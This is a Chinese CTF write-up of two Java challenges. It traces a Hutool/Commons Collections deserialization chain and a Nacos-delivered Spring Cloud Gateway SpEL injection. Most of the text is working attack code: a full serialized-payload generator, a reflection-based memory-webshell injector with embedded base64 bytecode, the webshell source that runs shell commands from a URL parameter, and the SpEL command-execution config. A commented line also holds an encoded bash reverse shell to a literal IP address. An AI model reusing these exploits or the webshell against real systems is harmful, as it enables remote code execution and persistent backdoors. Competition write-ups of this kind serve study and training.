国赛的两道Java题
国赛持续0输出,摆烂了。。。
DeserBug(时间不够了XD)
反序列化打内存马
有cc依赖,但是是最新版的cc3,反序列化被修了。
/**
* Overrides the default readObject implementation to prevent
* de-serialization (see COLLECTIONS-580).
*/
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
is.defaultReadObject();
}
重写了readObject来修复,有几个类被重写了:
所以现在为止的CC链全部修复了,需要另找出路。根据提示
cn.hutool.json.JSONObject.put()->Myexpect.getAnyexcept()
先分析put是如何触发到Myexpect类的。同样是JSON,有理由怀疑是不是类似FastJson可以触发任意getter,因为getAnyexcept函数不太可能有人会写这种调用(连驼峰格式都不是的函数名)。看一手源码
public JSONObject put(String key, Object value) throws JSONException {
return set(key, value);
}
//调用set↓
public JSONObject set(String key, Object value, Filter<MutablePair<String, Object>> filter, boolean checkDuplicate) throws JSONException {
if (null == key) {
return this;
}
// 添加前置过滤,通过MutablePair实现过滤、修改键值对等
if (null != filter) {
final MutablePair<String, Object> pair = new MutablePair<>(key, value);
if (filter.accept(pair)) {
// 使用修改后的键值对
key = pair.getKey();
value = pair.getValue();
} else {
// 键值对被过滤
return this;
}
}
final boolean ignoreNullValue = this.config.isIgnoreNullValue();
if (ObjectUtil.isNull(value) && ignoreNullValue) {
// 忽略值模式下如果值为空清除key
this.remove(key);
} else {
if (checkDuplicate && containsKey(key)) {
throw new JSONException("Duplicate key \"{}\"", key);
}
super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config));
}
return this;
}
//调用JSONUtil.wrap()↓
public static Object wrap(Object object, JSONConfig jsonConfig) {
if (object == null) {
return jsonConfig.isIgnoreNullValue() ? null : JSONNull.NULL;
}
if (object instanceof JSON //
|| ObjectUtil.isNull(object) //
|| object instanceof JSONString //
|| object instanceof CharSequence //
|| object instanceof Number //
|| ObjectUtil.isBasicType(object) //
) {
if(object instanceof Number && null != jsonConfig.getDateFormat()){
return new NumberWithFormat((Number) object, jsonConfig.getDateFormat());
}
return object;
}
try {
// fix issue#1399@Github
if(object instanceof SQLException){
return object.toString();
}
// JSONArray
if (object instanceof Iterable || ArrayUtil.isArray(object)) {
return new JSONArray(object, jsonConfig);
}
// JSONObject
if (object instanceof Map || object instanceof Map.Entry) {
return new JSONObject(object, jsonConfig);
}
// 日期类型原样保存,便于格式化
if (object instanceof Date
|| object instanceof Calendar
|| object instanceof TemporalAccessor
) {
return object;
}
// 枚举类保存其字符串形式(4.0.2新增)
if (object instanceof Enum) {
return object.toString();
}
// Java内部类不做转换
if (ClassUtil.isJdkClass(object.getClass())) {
return object.toString();
}
// 默认按照JSONObject对待
return new JSONObject(object, jsonConfig);
} catch (final Exception exception) {
return null;
}
}
//调用JSONObject()↓
/**
* 构建JSONObject,规则如下:
* <ol>
* <li>value为Map,将键值对加入JSON对象</li>
* <li>value为JSON字符串(CharSequence),使用JSONTokener解析</li>
* <li>value为JSONTokener,直接解析</li>
* <li>value为普通JavaBean,如果为普通的JavaBean,调用其getters方法(getXXX或者isXXX)获得值,加入到JSON对象。例如:如果JavaBean对象中有个方法getName(),值为"张三",获得的键值对为:name: "张三"</li>
* </ol>
* <p>
* 如果给定值为Map,将键值对加入JSON对象;<br>
* 如果为普通的JavaBean,调用其getters方法(getXXX或者isXXX)获得值,加入到JSON对象<br>
* 例如:如果JavaBean对象中有个方法getName(),值为"张三",获得的键值对为:name: "张三"
*
* @param source JavaBean或者Map对象或者String
* @param config JSON配置文件,{@code null}则使用默认配置
* @since 4.2.2
*/
public JSONObject(Object source, JSONConfig config) {
this(source, config, null);
}
后面就有点复杂,但是根据注释,可以知道可以调用任意的getter方法。所以可以直接使用其触发Myexpect.getAnyexcept()。Myexpect.getAnyexcept()熟悉cc链直接已研顶针,鉴定为TrAXFilter实例化调用TemplatesImpl写内存马或者rce。
终点已解决,现在找如何触发put。熟悉cc链的也不一定记得,LazyMap.get()能触发map.put,而JSONObject刚好实现了Map,所以,直接用cc链拼接即可(忘记是cc几了)。链子如下:
HashMap.readObject()->HashMap.hashCode()->
TiedMapEntry.hashCode()->TiedMapEntry.getValue()->
LazyMap.get()->
JSONObject.put()->
Myexpect.getAnyexpect()->
new TrAXFilter()
然后就是属性设置问题。先从断开的cc链--LazyMap开始分析:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
需要LazyMap中不存在key对应的value值,即可调用put。然后value的值从工厂中的transform函数获得,该工厂是Transform的实例。找了一个顺眼的工厂:MapTransformer
public Object transform(Object input) {
return iMap.get(input);
}
直接在里面的iMap塞对应的值即可。然后JSONObject的调用看上面分析,可以发现如果LazyMap中国map.put(key, value)中的value是一个Object,而且不是Map、Entry等(看代码)实例,直接当作Bean处理,所以很简单,直接塞Myexpect进去就行。至此,链子分析完了。
题目不出网,所以得找这个框架的内存马,冷门框架,网上应该不会有,直接撸一个。先debug看看是怎么注册的路由。看源码发现使用SimpleServer注册的路由:
/**
* 简易Http服务器,基于{@link HttpServer}
*
* @author looly
* @since 5.2.5
*/
public class SimpleServer
基于HttpServer,然后在他给的源码发现用的addAction添加匿名函数进行添加路由
public SimpleServer addAction(String path, Action action) {
return addHandler(path, new ActionHandler(action));
}
//调用↓
public SimpleServer addHandler(String path, HttpHandler handler) {
createContext(path, handler);
return this;
}
//调用↓
public HttpContext createContext(String path, HttpHandler handler) {
// 非/开头的路径会报错
path = StrUtil.addPrefixIfNot(path, StrUtil.SLASH);
final HttpContext context = this.server.createContext(path, handler);
// 增加整体过滤器
context.getFilters().addAll(this.filters);
return context;
}
然后this.server就是HttpServer。所以只需要找到HttpServer的当前对象,调用createContext()函数即可创建路由。由于没有找到啥有用的工具类直接获得,所以直接从Thread.currentThread()找。
找到了ServerImpl,已经很接近了,查看源码:
class ServerImpl implements TimeSource {
...
private HttpServer wrapper;
...
}
所以在wrapper属性里面。
找到HttpServer,直接调用createContext()函数即可,整个注入过程代码:
package com.app;
import com.sun.net.httpserver.HttpHandler;
import sun.net.httpserver.HttpServerImpl;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
public class test {
static void inject() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, InstantiationException {
String base64String = "yv66vgAAADQAmAoAJQBHCgBIAEkKAEoASwgATAoADgBNCABOCABPCABQCgBRAFIKAA4AUwgAVAoADgBVBwBWBwBXCABYCABZCgANAFoIAFsIAFwHAF0KAA0AXgoAXwBgCgAUAGEIAGIKABQAYwoAFABkCgAUAGUKABQAZgcAZwoADgBoCgBIAGkKAEgAagoADgBrCgBsAG0KAGwAZgcAbgcAbwcAcAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAVTGNvbS9hcHAvQWN0aW9uU2hlbGw7AQAGaGFuZGxlAQAoKExjb20vc3VuL25ldC9odHRwc2VydmVyL0h0dHBFeGNoYW5nZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEADGh0dHBFeGNoYW5nZQEAJUxjb20vc3VuL25ldC9odHRwc2VydmVyL0h0dHBFeGNoYW5nZTsBAANjbWQBAAhyZXNwb25zZQEAAm9zAQAWTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEADVN0YWNrTWFwVGFibGUHAFcHAFYHAF0HAG4HAHEHAGcBAApFeGNlcHRpb25zBwByAQAKU291cmNlRmlsZQEAEEFjdGlvblNoZWxsLmphdmEMACcAKAcAcQwAcwB0BwB1DAB2AHcBAAE9DAB4AHkBABBXZWxjb21lIHRvIHNoZWxsAQAAAQAHb3MubmFtZQcAegwAewB8DAB9AHcBAAN3aW4MAH4AfwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACcAgAEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDACBAIIHAIMMAIQAhQwAJwCGAQACXEEMAIcAiAwAiQCKDACLAHcMAIwAKAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAI0AjgwAjwCQDACRAJIMAJMAlAcAlQwAlgCXAQATY29tL2FwcC9BY3Rpb25TaGVsbAEAEGphdmEvbGFuZy9PYmplY3QBACJjb20vc3VuL25ldC9odHRwc2VydmVyL0h0dHBIYW5kbGVyAQAjY29tL3N1bi9uZXQvaHR0cHNlcnZlci9IdHRwRXhjaGFuZ2UBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQANZ2V0UmVxdWVzdFVSSQEAECgpTGphdmEvbmV0L1VSSTsBAAxqYXZhL25ldC9VUkkBAAhnZXRRdWVyeQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAGbGVuZ3RoAQADKClJAQATc2VuZFJlc3BvbnNlSGVhZGVycwEABShJSilWAQAPZ2V0UmVzcG9uc2VCb2R5AQAYKClMamF2YS9pby9PdXRwdXRTdHJlYW07AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAUamF2YS9pby9PdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWACEAJAAlAAEAJgAAAAIAAQAnACgAAQApAAAALwABAAEAAAAFKrcAAbEAAAACACoAAAAGAAEAAAARACsAAAAMAAEAAAAFACwALQAAAAEALgAvAAIAKQAAAbQABgAHAAAAtyu2AAK2AAMSBLYABQQyTRIGThIHOgQSCLgACbYAChILtgAMmQAhuwANWQa9AA5ZAxIPU1kEEhBTWQUsU7cAEToFpwAeuwANWQa9AA5ZAxISU1kEEhNTWQUsU7cAEToFuwAUWRkFtgAVtgAWtwAXEhi2ABk6BhkGtgAamQALGQa2ABunAAUZBDoEGQa2ABwZBE6nAAU6BCsRAMgttgAehbYAHyu2ACA6BBkELbYAIbYAIhkEtgAjsQABABIAkQCUAB0AAwAqAAAARgARAAAAFQAPABYAEgAaABYAHAAmAB0ARAAfAF8AIQB1ACIAiQAjAI4AJACRACYAlAAlAJYAJwCiACgAqAApALEAKgC2ACsAKwAAAFwACQBBAAMAMAAxAAUAFgB7ADIAMwAEAF8AMgAwADEABQB1ABwANAA1AAYAAAC3ACwALQAAAAAAtwA2ADcAAQAPAKgAOAAzAAIAEgClADkAMwADAKgADwA6ADsABAA8AAAANQAG/gBEBwA9BwA9BwA9/AAaBwA+/AAlBwA/QQcAPf8ADAAEBwBABwBBBwA9BwA9AAEHAEIBAEMAAAAEAAEARAABAEUAAAACAEY=";
byte[] bytes = Base64.getDecoder().decode(base64String);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
method.invoke(classLoader, "com.app.ActionShell", bytes, 0, bytes.length);
Thread thread = Thread.currentThread();
Field groupField = thread.getClass().getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup threadGroup = (ThreadGroup) groupField.get(thread);
Field threadsField = threadGroup.getClass().getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[]) threadsField.get(threadGroup);
for (Thread t : threads) {
if (t.getName().equalsIgnoreCase("Thread-2")) {
Field targetField2 = t.getClass().getDeclaredField("target");
targetField2.setAccessible(true);
Object obj = targetField2.get(t);
Field serverImplField = obj.getClass().getDeclaredField("this$0");
serverImplField.setAccessible(true);
Object o = serverImplField.get(obj);
Field wrapperField = o.getClass().getDeclaredField("wrapper");
wrapperField.setAccessible(true);
HttpServerImpl httpServer = (HttpServerImpl) wrapperField.get(o);
httpServer.createContext("/asd", (HttpHandler) classLoader.loadClass("com.app.ActionShell").newInstance());
}
}
}
}
一系列反射进行注入,base64String是web shell的class字节码,用于defineClass加载该类,它的源码如下:
package com.app;
import com.sun.net.httpserver.*;
import java.io.IOException;
import java.io.OutputStream;
public class ActionShell implements HttpHandler {
@Override
public void handle(HttpExchange httpExchange) throws IOException {
String cmd = httpExchange.getRequestURI().getQuery().split("=")[1];
String response = "Welcome to shell";
// String cmd = (String)queryMap.get("cmd");
try {
// java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
response = o;
}catch (Exception e){
}
httpExchange.sendResponseHeaders(200, (long)response.length());
OutputStream os = httpExchange.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
这个主要是实现HttpHandler实现命令执行即可,符合createContext要求。然后将内存马整合到反序列化链之中,exp如下:
package com.app;
import cn.hutool.json.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.MapTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;
public class Exp {
public static void main(String[] args) throws Exception {
// ClassPool p = ClassPool.getDefault();
// CtClass c = p.getCtClass("ActionShell");
// System.out.println(new String(Base64.getEncoder().encode(c.toBytecode())));
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(nothing.class.getName());
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");}";
String code = "{inject();}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl ti = new TemplatesImpl();
setField(ti, "_name", "asd");
setField(ti, "_bytecodes", new byte[][]{bytes});
setField(ti, "_tfactory", new TransformerFactoryImpl());
Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{ti});
HashMap inMap = new HashMap();
inMap.put("asd", myexpect);
MapTransformer mapTransformer = (MapTransformer) MapTransformer.getInstance(inMap);
JSONObject jsonObject = new JSONObject();
Map lazyMap = LazyMap.decorate(jsonObject, mapTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "asd");
HashMap exp = makeMap(tiedMapEntry, "asd");
ByteArrayOutputStream bas = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bas);
oos.writeObject(exp);
System.out.println(new String(Base64.getEncoder().encode(bas.toByteArray())));
}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Exp.setField(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Exp.setField(s, "table", tbl);
return s;
}
}
test.class在上面。。。
最后直接访问/asd?cmd=cat /flag
即可
BackendService(大失败)
打nacos的,直接拿现有漏洞Nacos命令执行漏洞 - Recllie (requiem.ltd)
然后会发现它连配置都没有,那我们就从环境搭建开始,根据文章:Nacos结合Spring Cloud Gateway RCE利用 - 先知社区 (aliyun.com)
按照他的步骤,创建一个配置。根据附件的信息:bootstrap.yml
spring:
cloud:
nacos:
discovery:
server-addr: 127.0.0.1:8888
config:
name: backcfg
file-extension: json
group: DEFAULT_GROUP
server-addr: 127.0.0.1:8888
创建如下配置:
下面的配置格式为json,内容为:
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "lb://backendservice",
"predicates": [
"Path=/echo/**"
]
}
]
}
}
}
}
然后发布,然后监听查询发现该配置已经开启监听。然后按照文章的做法,直接打Spring Cloud Gateway的spel注入,修改该配置为:
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "lb://backendservice",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'calc'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}
本地已经命令执行,且出网。但是远程失败,大寄特寄。时间不多了,随便注入一个Interceptor内存马(之前模板注入的payload,不知道有没有成功),但是只能注入到Spring Boot里面,就是127.0.0.1:8888里面,本地测试疯狂500,而远程容器明显只有一个端口映射出来,肯定访问不了,所以大概率内存马打不了,但是不出网,不会了。。。。
nnd,为啥我就没反弹shell成功,服了XD